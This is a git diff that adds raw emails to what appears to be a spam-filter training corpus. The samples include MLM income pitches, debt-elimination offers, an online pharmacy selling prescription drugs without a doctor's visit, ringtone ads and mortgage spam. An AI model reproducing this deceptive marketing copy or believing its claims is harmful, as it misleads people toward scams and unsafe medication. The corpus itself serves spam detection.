    + + + + + + diff --git a/bayes/spamham/spam_2/00143.95e60a4160434f341761931c65844a38 b/bayes/spamham/spam_2/00143.95e60a4160434f341761931c65844a38 new file mode 100644 index 0000000..39357ec --- /dev/null +++ b/bayes/spamham/spam_2/00143.95e60a4160434f341761931c65844a38 @@ -0,0 +1,91 @@ +From m6014@iobox.fi Mon Aug 6 01:36:35 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from www (unknown [211.99.16.76]) by mail.netnoteinc.com + (Postfix) with ESMTP id D8AF311410E for ; + Mon, 6 Aug 2001 00:36:32 +0000 (Eire) +Received: from PPPa89-ResaleOrlandoB1-1R7029.dialinx.net_[4.4.58.118] + [4.4.58.118] by www (SMTPD32-7.00 EVAL) id A21325013E; Mon, 06 Aug 2001 + 08:17:23 +0800 +Received: from iobox.fi by PPPa89-ResaleOrlandoB1-1R7029.dialinx.net with + ESMTP; Sun, 05 Aug 2001 20:09:56 -0400 +Message-Id: <0000091b6e7b$00002b17$00001e34@iobox.fi> +To: +From: m6014@iobox.fi +Subject: Foreign Currency Trading Report +Date: Sun, 05 Aug 2001 20:09:50 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + Untitled Document

    = + = +


    		 

    +
    +

    + +

    + + + + + + diff --git a/bayes/spamham/spam_2/00144.a439c28b51d6b53f4fbf3bf427b55ed2 b/bayes/spamham/spam_2/00144.a439c28b51d6b53f4fbf3bf427b55ed2 new file mode 100644 index 0000000..93c5475 --- /dev/null +++ b/bayes/spamham/spam_2/00144.a439c28b51d6b53f4fbf3bf427b55ed2 @@ -0,0 +1,81 @@ +From userfriendly3@arabia.com Mon Aug 6 06:44:29 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dwat.dwat.ro (mail.dwat.ro [193.226.156.10]) by + mail.netnoteinc.com (Postfix) with ESMTP id 6C6FB114548 for + ; Mon, 6 Aug 2001 05:44:28 +0000 (Eire) +Received: from 65.44.238.218 (PPPa730-nas1rack6059.dialinx.net + [65.44.238.218]) by dwat.dwat.ro with SMTP (Microsoft Exchange Internet + Mail Service Version 5.5.2653.13) id QB4294ZT; Mon, 6 Aug 2001 09:18:33 + +0300 +Message-Id: <00007c9278ab$00004ad0$00005f1a@> +To: +From: userfriendly3@arabia.com +Subject: Eliminate Debt~No Bankrputcy! +Date: Sun, 05 Aug 2001 21:21:40 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + + + + + + Eliminate your credit card debt without filing bankrupt= +cy!
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    Are you drowning in debt?

    Are you ready for a change and = +some freedom?


    + + + + diff --git a/bayes/spamham/spam_2/00145.b6788a48c1eace0b7c34ff7de32766f6 b/bayes/spamham/spam_2/00145.b6788a48c1eace0b7c34ff7de32766f6 new file mode 100644 index 0000000..c021378 --- /dev/null +++ b/bayes/spamham/spam_2/00145.b6788a48c1eace0b7c34ff7de32766f6 @@ -0,0 +1,705 @@ +From FLN-Community@FreeLinksNetwork.com Mon Aug 6 10:56:00 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (unknown [216.251.239.53]) by + mail.netnoteinc.com (Postfix) with ESMTP id 25AFB114088 for + ; Mon, 6 Aug 2001 09:55:58 +0000 (Eire) +Received: from rovweb003 (unknown [10.208.80.89]) by rovdb001.roving.com + (Postfix) with ESMTP id 3874D252DD for ; Mon, + 6 Aug 2001 05:55:29 -0400 (EDT) +From: Your Membership Newsletter +To: yyyy@netnoteinc.com +Subject: Your Membership Exchange, #442 +Content-Type: multipart/alternative; + boundary=1695567064.997091752024.JavaMail.RovAdmin.rovweb003 +X-Roving-Queued: 20010806 05:55.52024 +X-Roving-Version: 4.1.Patch43b.ThingOne_p43_08_02_01FallNetscape +X-Mailer: Roving Constant Contact 4.1.Patch43b.ThingOne_p43_08_02_01FallNe + tscape (http://www.constantcontact.com) +X-Roving-Id: 996949207937 +Message-Id: <20010806095529.3874D252DD@rovdb001.roving.com> +Date: Mon, 6 Aug 2001 05:55:29 -0400 (EDT) + +--1695567064.997091752024.JavaMail.RovAdmin.rovweb003 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Exchange, Issue #442 (August 6, 2001) + +______________________________________________________ + Your Membership Daily Exchange +>>>>>>>>>>> Issue #442 <> 08-06-01 <<<<<<<<<<<< +Your place to exchange ideas, ask questions, +swap links, and share your skills! +______________________________________________________ +Removal/Unsubscribe instructions are included at the bottom +for members who do not wish to receive additional issues of +this publication. +______________________________________________________ + +You are a member in at least one of these programs +- You should be in them all! +http://www.BannersGoMLM.com +http://www.ProfitBanners.com +http://www.CashPromotions.com +http://www.MySiteInc.com +http://www.TimsHomeTownStories.com +http://www.FreeLinksNetwork.com +http://www.MyShoppingPlace.com +http://www.BannerCo-op.com +http://www.PutPEEL.com +http://www.PutPEEL.net +http://www.SELLinternetACCESS.com +http://www.Be-Your-Own-ISP.com +http://www.SeventhPower.com +______________________________________________________ +Today's Special Announcement: + +FREE WEB SITES for your Family, Groups, or Business. +Create A PRESENCE ON THE INTERNET for FREE. +SiteBlast FREE SOFTWARE walks you through the +design process, one step at a time. With HUNDREDS OF +PROFESSIONAL DESIGNS TO CHOOSE FROM you can customize +the site to your taste, personality, or corporate image. +http://www.siteblast.com/index_sb.asp?site=3&id=2084&name=CashPromotions + +______________________________________________________ +______________________________________________________ + +>> Q & A + QUESTIONS: + - Info on using Linux operation system? + ANSWERS: + - What can I do about my computer freezing? + A. Lloyd-Rees: Computer freezing and a program to free up memory + +>> MEMBER SHOWCASES + +>> MEMBER *REVIEWS* + - Sites to Review: #142, #143 & #144! + - Three new sites to review! + - Site #141 Reviewed! + +______________________________________________________ + +>>>>>> QUESTIONS & ANSWERS <<<<<< +Submit your questions & answers to MyInput@AEOpublishing.com + +QUESTIONS: + +From: Terry Mills - tlm@wwnet.net +Subject: Info on using Linux operation system? + +In answer to the question in Exchange Issue #441, +WonderPaint gave a pretty darn good explanation of +what is going on in windows. He suggests Linux. + +My question is can the current software on my machine +use Linux if I were to switch to that OS and if not, how +much software is available for Linux. Seems all I find is +for windows and some for the mac. Thanks. + +Terry +High quality LEADS for mlm. Find three and get yours FREE. +Check the August Special! +http://mysiteinc.com/tfn/leads.html + + +ANSWERS: + +From: Anthony Lloyd-Rees - cutter@opalsinthebag.com +Subject: Computer freezing and a program to free up memory + +>From: NICETY7078@aol.com +>Subject: What can I do about my computer freezing? (Issue #439) +> +>My computer freezes when I use AOL and sometimes when +>I'm just using the basic functions of Windows 98. My +>defragmentor keeps starting over and over and my scan +>disk never finds anything wrong, but there has to be. + +Hello Nicety, + +I have to agree with Jim Shofstall, http://www.wonderpaint.com, +when he wrote in Exchange Issue #441: + + + One major problem is that many programs don't release memory +when you exit. When working in Windoze I've always taken the +approach of rebooting on a regular basis before I've had problems, + + +I believe AOL is a shell that sits on Windows, which pretty much +negates any hope for stability. *nix is the only non-Mac answer +for reliable computing. I am a Red Hat Linux user as everyone's +favourite Redmond OS obviously requires more smarts than I +have to make it do anything useful. + +If you have to live with it however there is a cool little FREE +download called FreeMem which you can get here; +http://www.meikel.com + +This utility frees up memory at a click when you exit an app, you +also get to see how your memory gets eaten up and not released. +This may not fix your problem but at least Windows will be +running at peak performance all the time and much easier than +constant rebooting. The more you use this OS the more of these +little third party fixer upper proggys and utilities you have to +search for. + +HTH. Tony. + +______________________________________________________ + + +>>>>>> WEBSITE SHOWCASES <<<<<< + +Examine carefully - those with email addresses included WILL +trade links with you, you are encouraged to contact them. And, +there are many ways to build a successful business. Just look at +these successful sites/programs other members are involved in... +------------------------------------------------- + +RETIRE QUICKLY--Free Report "Seven Secrets to Earning +$100,000 from Home". Fully Automated Home Business. +81% commissions-Income UNLIMITED. Automated Sales, +Recruiting and Training MACHINE. Join NOW! +http://orleantraders.4yoursuccess.org +Trade Links - mailto:bgmlm@4yoursuccess.org +------------------------------------------------- + +We Are Looking For A Handful Of "Qualified" People Who +Want To Make An Insane Income... Interested? If you do +qualify, you will have access to the worlds most powerful +online marketing system that can easily explode your income. +http://by.advertising.com/1/c/22555/27369/82101/82101 +------------------------------------------------- + +CIGARETTES GO $MLM$ FREESamples AND Customer Membership +$5 OFF 1st Order, 600+ Varieties from $9.95 per carton! +BusOP Seekers - Cigarettes are the ultimate consumable! +High customer retention insures a steady residual income +http://www.key-list.com/track.cgi/mark2020/web6.html +Trade Links - tradlinks@brand-name-cigarettes.com +------------------------------------------------- + +If you have a product, service, opportunity and/or quality +merchandise that appeals to people worldwide, reach your +target audience! + +For a fraction of what other large newsletters charge you +can exhibit your website here for only $8 CPM. Why?... +Because as a valuable member we want you to be successful! +Order today - Exhibits are limited and published on a +first come, first serve basis. http://bannersgomlm.com/ezine +______________________________________________________ + + +>>>>>> MEMBER *REVIEWS* <<<<<< + +Visit these sites, look for what you like and any suggestions +you can offer, and send your critique to MyInput +And, after reviewing three sites, your web site will be added to +the list! It's fun, easy, and it's a great opportunity to give +some help and receive an informative review of your own site. + +SITES TO REVIEW: + +Site #142: http://www.sharesmiles.com +James Garrison +webmaster@sharesmiles.com + +Site #143: http://www.selltheworldonline.com/default2.asp?ref=1282 +gofreet@yahoo.com.au + +Site #144: http://www.tpcenterprises.com/ +info@tpcenterprises.com + +Site #145: http://www.worldwidewebproductions.com +Len Seider +wORLDwIDEwEBPros@cs.com + +Site #146: http://www.candlecreations.com +Melissa Kalmbach +melscandles@msn.com + +Site #147: http://www.passionforperfume.com +Janice Holton +janice@passionforperfume.com +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + +SITE REVIEWED! + +Comments on Site #141: http://www.floridarental.co.uk +Carol Hall +carol@floridarental.co.uk +~~~~ + +Just finished looking over your site. It's very flashy and maybe +just a tad overdone. I had difficulty finding my way around +your site and couldn't understand its purpose until I had gone +three pages into it. Maybe it would be a little more useful to +make your front page navigation a little less confusing? + +The "next page" tab is right next to one that says "bookmark +this page" - no information until you mouseover the tab to +tell you you are entering the site. I felt a little overwhelmed +with glitz - animated gif's overemphasized words etc and not +enough information on your openning page. +~~~~ + +I also surprised to see a site for Florida rentals with a URL +ending with .uk. Recommendations for this site. +1. On the home page a person's eyes are drawn first to the +animation and red text on the yellow background, missing +the first sentence. Remove the animation and add more +details to this important introduction. Instead of using the +'click here' button, just have a text link following directly +after the introduction. +2. On the second page, have all your links the same color, +and all your text a different color. Don't confuse people on +what is a link and what they need to read. Underlined text +on the internet can often be confused for a link, expecially +when it is in the normal blue link color. Having the +important links in red and with the flashing arrow is overkill. +3. On the rest of the site, you have good information, but +you don't need the top menu bar when using the framed +menu and the pages are all untitled. + +I hope you don't think I'm being too harsh, I just know you +want the best site you can have and I think these changes +will make a world of difference. Once a person gets into the +site you have the information organized and complete. I +even wanted to come and stay! +~~~~ + +The animations make this site look amateurish from the +beginning. The flashing "Bookmark This Site" makes me +want to leave instead of come back! The font Comic Sans +MS also looks very kiddy. Much could be done to improve +this site. +~~~~ + +I was confused by this site. There are four animated gifs on the +first screen, and so my eyes kept flicking back and forth between +them. I read over the paragraph of information, but didn't know +where to click. I finally figured out the 'click here' button should +have been up by the text and that is where I should go. + +On the 2nd page, again too many flashing gifs. Other than that, +the 2nd page was much easier to find my way around. One +suggestion, if you're using frames it is unneccessary to have +the menu of links listed both on one frame and at the top of +the page as was shown on the 'special offers' page. + +The font style and bright colors made the site look casual and +laid back, like a trip to Florida should be, so that was good. +Besides the flashing gifs, by the time I left I liked this site, but +if I hadn't been reviewing it I don't know if I would have gotten +that far. +~~~~ + +This site is bright and breezy. It is very clean, easy to read +and navigate. Logically presented and information-rich. +Some pages had too many animated images for my own taste, +but the pages are happy and cheery. Tip: If you can get a hold +of PaintShop Pro, you can take out the white squares that +form a background for some images. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +______________________________________________________ +moderator: Amy Mossel: Moderator@AEOpublishing.com +posting: MyInput@AEOpublishing.com +______________________________________________________ + +Send posts and questions (or your answers) to: + mailto:MyInput@AEOpublishing.com +Please send suggestions and comments to: + mailto:Moderator@AEOpublishing.com + +To change your subscribed address, send both new +and old address to mailto:Moderator@AEOpublishing.com +See below for unsubscribe instructions. + +Copyright 2001 AEOpublishing + +----- End of Your Membership Exchange +------------------------------------------------ + + +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.jbozuta6&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +--1695567064.997091752024.JavaMail.RovAdmin.rovweb003 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Exchange, #442 + + + + +

    + + + + + +
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    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      
      Your Membership Exchange, Issue #442 
     August 6, 2001  
      + + + + + +
    + + + Your place to exchange ideas, ask questions, swap links, and share your skills! + + + +

    ______________________________________________________ +
    You are a member in at least one of these programs +
    - You should be in them all! +
    BannersGoMLM.com +
    ProfitBanners.com +
    CashPromotions.com +
    MySiteInc.com +
    TimsHomeTownStories.com +
    FreeLinksNetwork.com +
    MyShoppingPlace.com +
    BannerCo-op.com +
    PutPEEL.com +
    PutPEEL.net +
    SELLinternetACCESS.com +
    Be-Your-Own-ISP.com +
    SeventhPower.com +
    ______________________________________________________
    +
    Today's Special Announcement: +

    FREE WEB SITES for your Family, Groups, or Business. +
    Create A PRESENCE ON THE INTERNET for FREE. +
    SiteBlast FREE SOFTWARE walks you through the +
    design process, one step at a time. With HUNDREDS OF +
    PROFESSIONAL DESIGNS TO CHOOSE FROM you can +
    customize the site to your taste, personality, or corporate image. +
    Free +Web Site +
    ______________________________________________________ +

    >> Q & A +
       QUESTIONS: +
         - Info on using Linux operation system? +
       ANSWERS: +
         - What can I do about my computer freezing? +
               A. Lloyd-Rees: +Computer freezing and a program to free up memory +

    >> MEMBER SHOWCASES +

    >> MEMBER *REVIEWS* +
         - Sites to Review: #142, #143  & +#144! +
         - Three new sites to review! +
         - Site #141 Reviewed! +

    ______________________________________________________ +

    >>>>>> QUESTIONS & ANSWERS <<<<<< +
    Submit your questions & answers to MyInput@AEOpublishing.com +

    QUESTIONS: +

    From:  Terry Mills   - tlm@wwnet.net +
    Subject: Info on using Linux operation system? +

    In answer to the question in Exchange Issue #441, +
    WonderPaint gave a pretty darn good explanation of +
    what is going on in windows.  He suggests Linux. +

    My question is can the current software on my machine +
    use Linux if I were to switch to that OS and if not, how +
    much software is available for Linux.  Seems all I find is +
    for windows and some for the mac.  Thanks. +

    Terry +
    High quality LEADS for mlm.  Find three and get yours FREE. +
    Check the August Special! +
    http://mysiteinc.com/tfn/leads.html +
      +

    ANSWERS: +

    From:  Anthony Lloyd-Rees   - cutter@opalsinthebag.com +
    Subject:  Computer freezing and a program to free up memory +

    >From:  NICETY7078@aol.com +
    >Subject:  What can I do about my computer freezing? (Issue #439) +
    > +
    >My computer freezes when I use AOL and sometimes when +
    >I'm just using the basic functions of Windows 98. My +
    >defragmentor  keeps starting over and over and my scan +
    >disk never finds anything wrong, but there has to be. +

    Hello Nicety, +

    I  have to agree with Jim Shofstall, http://www.wonderpaint.com, +
    when he wrote in Exchange Issue #441: +

    <snip> +
     One major problem is that many programs don't release memory +
    when you exit.  When working in Windoze I've always taken the +
    approach of rebooting on a regular basis before I've had problems, +
    </snip> +

    I believe AOL is a shell that sits on Windows, which pretty much +
    negates any hope for stability. *nix is the only non-Mac answer +
    for reliable computing. I am a Red Hat Linux user as everyone's +
    favourite Redmond OS obviously requires more smarts than I +
    have to make it do anything useful. +

    If you have to live with it however there is a cool little FREE +
    download called FreeMem which you can get here; +
    http://www.meikel.com +

    This utility frees up memory at a click when you exit an app, you +
    also get to see how your memory gets eaten up and not released. +
    This may not fix your problem but at least Windows will be +
    running at peak performance all the time and much easier than +
    constant rebooting. The more you use this OS the more of these +
    little third party fixer upper proggys and utilities you have to +
    search for. +

    HTH.  Tony. +

    ______________________________________________________ +

    >>>>>> WEBSITE SHOWCASES <<<<<< +

    Examine carefully - those with email addresses included WILL +
    trade links with you, you are encouraged to contact them. And, +
    there are many ways to build a successful business. Just look at +
    these successful sites/programs other members are involved in.. +
    ------------------------------------------------- +

    RETIRE QUICKLY--Free Report "Seven Secrets to Earning +
    $100,000 from Home". Fully Automated Home Business. +
    81% commissions-Income UNLIMITED. Automated Sales, +
    Recruiting and Training MACHINE. Join NOW! +
    http://orleantraders.4yoursuccess.org +
    Trade Links - mailto:bgmlm@4yoursuccess.org +
    ------------------------------------------------- +

    We Are Looking For A Handful Of "Qualified" People Who +
    Want To Make An Insane Income... Interested?  If you do +
    qualify, you will have access to the worlds most powerful +
    online marketing system that can easily explode your income. +
    http://by.advertising.com/1/c/22555/27369/82101/82101 +
    ------------------------------------------------- +

    CIGARETTES GO $MLM$ FREESamples AND Customer Membership +
    $5 OFF 1st Order, 600+ Varieties from $9.95 per carton! +
    BusOP Seekers - Cigarettes are the ultimate consumable! +
    High customer retention insures a steady residual income +
    http://www.key-list.com/track.cgi/mark2020/web6.html +
    Trade Links - tradlinks@brand-name-cigarettes.com +
    ------------------------------------------------- +

    If you have a product, service, opportunity and/or quality +
    merchandise that appeals to people worldwide, reach your +
    target audience! +

    For a fraction of what other large newsletters charge you +
    can exhibit your website here for only $8 CPM. Why?... +
    Because as a valuable member we want you to be successful! +
    Order today - Exhibits are limited and published on a +
    first come, first serve basis. http://bannersgomlm.com/ezine +
    +


    ______________________________________________________ +

    >>>>>> MEMBER *REVIEWS* <<<<<< +

    Visit these sites, look for what you like and any suggestions +
    you can offer, and send your critique to MyInput +
    And, after reviewing three sites, your web site will be added to +
    the list! It's fun, easy, and it's a great opportunity to give +
    some help and receive an informative review of your own site. +
    Plus, you can also win a chance to have y our site chosen for +
    a free website redesign. One randomly drawn winner each month! +
      +

    SITES TO REVIEW: +

    Site #142:  http://www.sharesmiles.com +
    James Garrison +
    webmaster@sharesmiles.com +

    Site #143:  http://www.selltheworldonline.com/default2.asp?ref=1282 +
    gofreet@yahoo.com.au +

    Site #144:  http://www.tpcenterprises.com/ +
    info@tpcenterprises.com +

    Site #145:   http://www.worldwidewebproductions.com +
    Len Seider +
    wORLDwIDEwEBPros@cs.com +

    Site #146:  http://www.candlecreations.com +
    Melissa Kalmbach +
    melscandles@msn.com +

    Site #147:  http://www.passionforperfume.com +
    Janice Holton +
    janice@passionforperfume.com +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +
      +

    SITE  REVIEWED! +

    Comments on Site #141:  http://www.floridarental.co.uk +
    Carol Hall +
    carol@floridarental.co.uk +
    ~~~~ +

    Just finished looking over your site. It's very flashy and maybe +
    just a tad overdone. I had difficulty finding my way around +
    your site and couldn't understand its purpose until I had gone +
    three pages into it. Maybe it would be a little more useful to +
    make your front page navigation a little less confusing? +

    The "next page" tab is right next to one that says "bookmark +
    this page" - no information until you mouseover the tab to +
    tell you you are entering the site. I felt a little overwhelmed +
    with glitz - animated gif's overemphasized words etc and not +
    enough information on your openning page. +
    ~~~~ +

    I also surprised to see a site for Florida rentals with a URL +
    ending with .uk.  Recommendations for this site. +
    1. On the home page a person's eyes are drawn first to the +
    animation and red text on the yellow background, missing +
    the first sentence. Remove the animation and add more +
    details to this important introduction. Instead of using the +
    'click here' button, just have a text link following directly +
    after the introduction. +
    2. On the second page, have all your links the same color, +
    and all your text a different color. Don't confuse people on +
    what is a link and what they need to read. Underlined text +
    on the internet can often be confused for a link, expecially +
    when it is in the normal blue link color.  Having the +
    important links in red and with the flashing arrow is overkill. +
    3. On the rest of the site, you have good information, but +
    you don't need the top menu bar when using the framed +
    menu and the pages are all untitled. +

    I hope you don't think I'm being too harsh, I just know you +
    want the best site you can have and I think these changes +
    will make a world of difference.  Once a person gets into the +
    site you have the information organized and complete. I +
    even wanted to come and stay! +
    ~~~~ +

    The animations make this site look amateurish from the +
    beginning.  The flashing "Bookmark This Site" makes me +
    want to leave instead of come back!  The font Comic Sans +
    MS also looks very kiddy.  Much could be done to improve +
    this site. +
    ~~~~ +

    I was confused by this site. There are four animated gifs on the +
    first screen, and so my eyes kept flicking back and forth between +
    them. I read over the paragraph of information, but didn't know +
    where to click. I finally figured out the 'click here' button should +
    have been up by the text and that is where I should go. +

    On the 2nd page, again too many flashing gifs.  Other than that, +
    the 2nd page was much easier to find my way around. One +
    suggestion, if you're using frames it is unneccessary to have +
    the menu of links listed both on one frame and at the top of +
    the page as was shown on the 'special offers' page. +

    The font style and bright colors made the site look casual and +
    laid back, like a trip to Florida should be, so that was good. +
    Besides the flashing gifs, by the time I left I liked this site, but +
    if I hadn't been reviewing it I don't know if I would have gotten +
    that far. +
    ~~~~ +

    This site is bright and breezy. It is very clean, easy to read +
    and navigate. Logically presented and information-rich. +
    Some pages had too many animated images for my own taste, +
    but the pages are happy and cheery. Tip: If you can get a hold +
    of PaintShop Pro, you can take out the white squares that +
    form a background for some images. +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +
    ______________________________________________________ +


    moderator: Amy Mossel  Moderator +
    posting:   MyInput@AEOpublishing.com +
    ______________________________________________________ +

    Send posts and questions (or your answers) to: +
       MyInput@AEOpublishing.com +
    Please send suggestions and comments to: +
       Moderator@AEOpublishing.com +

    To change your subscribed address, send both new +
    and old address to Moderator@AEOpublishing.com +
    See below for unsubscribe instructions. +

    Copyright 2001 AEOpublishing +

    ----- End of Your Membership Exchange + + + +

    + +

    +
    +

    +
    + + + +     +
    + +     		 
     
    + + + +
    This email was sent to jm@netnoteinc.com, at your request, by Your Membership Newsletter Services. +
    Visit our Subscription Center to edit your interests or unsubscribe. +
    View our privacy policy. +

    Powered by +
    Constant Contact +     + +

    + +
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    + + + + + diff --git a/bayes/spamham/spam_2/00148.a645e3b8823445737c97057e59ea0d0c b/bayes/spamham/spam_2/00148.a645e3b8823445737c97057e59ea0d0c new file mode 100644 index 0000000..15752d8 --- /dev/null +++ b/bayes/spamham/spam_2/00148.a645e3b8823445737c97057e59ea0d0c @@ -0,0 +1,35 @@ +From jsimmons2003@yahoo.com Wed Aug 1 14:02:47 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.someone.com.tw (ftp.someone.com.tw [203.69.163.70]) by + mail.netnoteinc.com (Postfix) with ESMTP id B98DE11410E for + ; Wed, 1 Aug 2001 13:02:44 +0000 (Eire) +Received: from excite.ccom (63-93-88-152.lsan.dial.moonglobal.com + [63.93.88.152]) by mail.someone.com.tw (8.9.3/8.9.3) with SMTP id NAA13269; + Wed, 1 Aug 2001 13:00:22 +0800 (CST) (envelope-from + jsimmons2003@yahoo.com) +From: jsimmons2003@yahoo.com +Date: Tue, 07 Aug 2001 06:08:19 -0800 +Message-Id: <2k4y6p378atw03oq0i8.2nko8g8jo41daf44@excite.ccom> +Subject: Prescriptions Without Doctors Appointment!! +Content-Transfer-Encoding: 8BIT +To: funkelo@mail1st.com +X-Mailer: Mozilla 4.7 [en] (Win95; I) + + +The Internet's Online Pharmacy + +Viagra - Xenical - Propecia - Claritin - Celbrex - Renova - Zyban + +Now get your prescriptions approved by a panel of licensed medical doctors online without the need for an office visit. + +After approval of the doctor the medication will be shipped right to your door. + +Visit The Internets Online Pharmacy by clicking the link below: + + http://host.1bulk-email-software.com/ch4/pharm/purple/ + +To be removed from future mailings send an email to unlist4me@yahoo.com with remove in the subject + + + diff --git a/bayes/spamham/spam_2/00149.1589b074a69ebc09012d1f6d7ba4c75f b/bayes/spamham/spam_2/00149.1589b074a69ebc09012d1f6d7ba4c75f new file mode 100644 index 0000000..c994910 --- /dev/null +++ b/bayes/spamham/spam_2/00149.1589b074a69ebc09012d1f6d7ba4c75f @@ -0,0 +1,184 @@ +From cell_phone_fun157533@yahoo.com Mon Jun 24 17:53:33 2002 +Return-Path: cell_phone_fun@yahoo.com +Delivery-Date: Fri Jun 21 19:46:29 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5LIjqI10184 for + ; Fri, 21 Jun 2002 19:45:53 +0100 +Received: from mtcserver.mtc.hbpc.com.cn ([61.182.207.176]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5LIjNm13088 for + ; Fri, 21 Jun 2002 19:45:29 +0100 +Message-Id: <200206211845.g5LIjNm13088@mandark.labs.netnoteinc.com> +Received: from smtp0391.mail.yahoo.com (nrvcs.state.va.us [165.176.13.98]) + by mtcserver.mtc.hbpc.com.cn with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id N2LPGJD1; Thu, 20 Jun 2002 16:33:46 +0800 +Reply-To: cell_phone_fun@yahoo.com +From: cell_phone_fun157533@yahoo.com +To: yyyy@netcomuk.co.uk +Cc: yyyy@netdados.com.br, yyyy@neteze.com, yyyy@netmagic.net, yyyy@netmore.net, + jm@netnoteinc.com, jm@netrevolution.com +Subject: add logos and tones to your cell phone 1575332211111 +MIME-Version: 1.0 +Date: Sat, 18 Aug 2001 02:33:22 -0500 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    Take yourself out of our list BY CLICKING HERE
    +
    +
    BORED + WITH
    + YOUR CELL PHONE?
    +
    +
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    +
    + • • • • • • • • + • • • • • • • • + • • • • • •
    +     Get + cool Songs & Logos to your Phone today!
    + • • • • • • • • + • • • • • • • • + • • • • • •
    +
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    + or installations.Simple phone activation!
    +
     
    + +
    +
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    + See a sample of some of the songs to choose from below:
    +
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    SONGARTIST
    Get + Ur Freak OnMissy + Elliott
    Billie + JeanMichael + Jackson
    BatmanDanny + Elfman
    Walk + Like an EgyptianBangles
    FlinstonesBarbera
    4 + Page LetterAaliyah
    Like + a VirginMadonna
    What's + It Gonna Be?B.Rhymes/J.Jackson
    Achy + Breaky HeartBilly + Ray Cyrus
    Star + Spangled BannerJohn + Smith
    +
     
    +
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    +
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    + diff --git a/bayes/spamham/spam_2/00150.957bb781217f762dc9999e7a90130c92 b/bayes/spamham/spam_2/00150.957bb781217f762dc9999e7a90130c92 new file mode 100644 index 0000000..175e5d9 --- /dev/null +++ b/bayes/spamham/spam_2/00150.957bb781217f762dc9999e7a90130c92 @@ -0,0 +1,153 @@ +From carolynn371812@aol.com Mon Jun 24 17:53:53 2002 +Return-Path: carolynn@aol.com +Delivery-Date: Sun Jun 23 07:24:52 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5N6OnI07771 for + ; Sun, 23 Jun 2002 07:24:49 +0100 +Received: from adin.zs21.plzen-city.cz (21zs-gw.dnet.cz [194.108.43.148]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.2) with SMTP id g5N6Ohm20256 + for ; Sun, 23 Jun 2002 07:24:44 +0100 +Received: from smtp0371.mail.yahoo.com (unverified [66.169.113.227]) by + adin.zs21.plzen-city.cz (EMWAC SMTPRS 0.83) with SMTP id + ; Sun, 23 Jun 2002 07:37:44 +0200 +Message-Id: +Reply-To: carolynn@aol.com +From: carolynn371812@aol.com +To: yyyy@netmore.net +Cc: yyyy@netnoteinc.com, yyyy@netrevolution.com, yyyy@netset.com, + jm@netunlimited.net, jm@netvigator.com +Subject: discounted motgages 371812976544333222 +MIME-Version: 1.0 +Date: Mon, 20 Aug 2001 23:43:44 -0500 +Content-Type: text/html; charset="iso-8859-1" + + +
     
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    + +371812976544333222 diff --git a/bayes/spamham/spam_2/00151.6abbf42bc1bfb6c36b749372da0cffae b/bayes/spamham/spam_2/00151.6abbf42bc1bfb6c36b749372da0cffae new file mode 100644 index 0000000..b54154c --- /dev/null +++ b/bayes/spamham/spam_2/00151.6abbf42bc1bfb6c36b749372da0cffae @@ -0,0 +1,161 @@ +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 48FD114F6CA + for ; Thu, 27 Jun 2002 18:14:53 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 27 Jun 2002 18:14:53 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5OG2WI24625 for + ; Mon, 24 Jun 2002 17:02:33 +0100 +Received: from ns.sixa.net ([211.217.127.29]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5OG23e02190 for + ; Mon, 24 Jun 2002 17:02:21 +0100 +Message-Id: <200206241602.g5OG23e02190@mandark.labs.netnoteinc.com> +Received: from smtp0199.mail.yahoo.com (COX-66-210-197-195.coxinet.net + [66.210.197.195]) by ns.sixa.net with SMTP (Microsoft Exchange Internet + Mail Service Version 5.5.2653.13) id M9LHNRWR; Mon, 24 Jun 2002 03:49:00 + +0900 +Reply-To: carolynn@aol.com +From: carolynn492416@aol.com +To: yyyy@netcomuk.co.uk +Cc: yyyy@netdados.com.br, yyyy@neteze.com, yyyy@netmagic.net, + jm@netmore.net, jm@netnoteinc.com, jm@netrevolution.com, + jm@netset.com, jm@netunlimited.net, jm@netvigator.com +Subject: discounted motgages 4924161298765444333 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" 